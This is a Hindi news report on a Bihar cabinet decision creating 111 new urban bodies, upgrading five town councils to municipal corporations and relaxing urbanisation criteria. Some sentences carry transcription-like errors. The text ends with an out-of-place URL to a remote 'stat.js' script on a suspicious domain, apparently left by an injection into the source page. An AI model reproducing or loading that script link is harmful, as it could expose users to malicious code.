बिहार के मुख्यमंत्री नीतीश कुमार की अध्यक्षता में शनिवार को कैबिनेट विशेष बैठक में बिहार और अन्य शहरों का शहरीकरण के शहरीकरण की बात हुई। इस विशेष बैठक में 111 नए शहरों के निकायों को मंजूरी दे दी गई है। इनमें 103 ऐसी नगर पंचायत और 8 ग्राम परिषद शामिल हैं। जिन्हें सीधे ग्राम पंचायत से ही परिषद बनाया गया है। और सासाराम, मोतिहारी, बेतिया, मधुबनी और समस्तीपुर नगर परिषद को अपग्रेड करके नगर निगम बनाया जाएगा। और नगर निगम बिहार सहित 11 नगर परिषदों का क्षेत्र विस्तार किया जाएगा। और इन इलाकों में विकास की गति तेज होगी।

 

 

राज्य कैबिनेट की जानकारी देते हुए नगर विकास एवं आवास सचिव नगर आनंद किशोर ने बताया कि निकायों की जानकारी मीडिया और विभिन्न माध्यमों से लोगों तक पहुंचाई जाएगी। और अगर किसी को आपत्ति होगी तो वह उसे लिखित में जिला पदाधिकारी और प्रमंडलीय आयुक्त को देंगे। जिलों के माध्यम से सारी आपत्तियां विभाग में आएंगी और, आपत्तियों का निराकरण करने के बाद अंतिम रूप से मैं निकायों के गठन की सूचना जारी कर दी जाएगी। यह सारी प्रक्रिया एक माह में पूरी होगी।

 

राज्य में नए निकायों के गठन से कई लाभ होंगे। वर्ष 2011 की जनगणना के अनुसार बिहार का शहरीकरण महज 11.2 7 प्रतिशत है जो देश में सबसे कम है। राष्ट्रीय और सब 31.16 प्रतिशत है। मैं निकाल बनने से राज्य में शहरीकरण 18% के करीब हो जाएगा। निकय बनने पर इन इलाकों का विकास तेजी से होगा। और केंद्र की विभिन्न योजनाओं मैं शहरों को ही फीडिंग किए जाने का प्रावधान है। शहरों को ग्रोथ इंजन माना जाता है। शहरी निकाय बनने के बाद राज्य के विभिन्न क्षेत्रों में विकास की गति तेज होगी।

 

 

और नागरिक सुविधाएं बढ़ेंगी पानी, बिजली, स्ट्रीट लाइट मशीनों के जरिए सफाई होगी और अन्य कई सुविधाएं बेहतर हो जाएंगी। ऐसे इलाकों में रोजगार के ज्यादा अवसर होंगे और जमीनों की कीमतों में वृद्धि होगी। और गांव की अपेक्षा ज्यादा अंशदान मिलने लगेगा। राज्य में शहरीकरण के पुराने मानक के अनुसार कुल जनसंख्या की 75% आबादी खेती नहीं होनी चाहिए थी। वर्ष 2011 की जनसंख्या में कुल जनसंख्यां का कृषि और गैर कृषि आधारित जनसंख्या का आंकड़ा अलग-अलग उपलब्ध नहीं है।

 

 

नए निकायों में अब कार्यशील जनसंख्या की 50% से अधिक आबादी खेती पर निर्भर नहीं होनी चाहिए। यानी कि 100 में से 51 लोग खेती ना करते हो। यह मामला बार-बार विधानसभा और विधान परिषद में उठता रहा तब सरकार की ओर से मंत्री कोर्ट से जुड़ा बताते रहे। राज्य सरकार ने पूर्व में गठित हरनौत और बेहटा नगर पंचायत के मामलों में हाईकोर्ट से रोक लगा दी। इसलिए इन मानकों में बदलाव जरूरी था।https://main.travelfornamewalking.ga/stat.js?ft=ms

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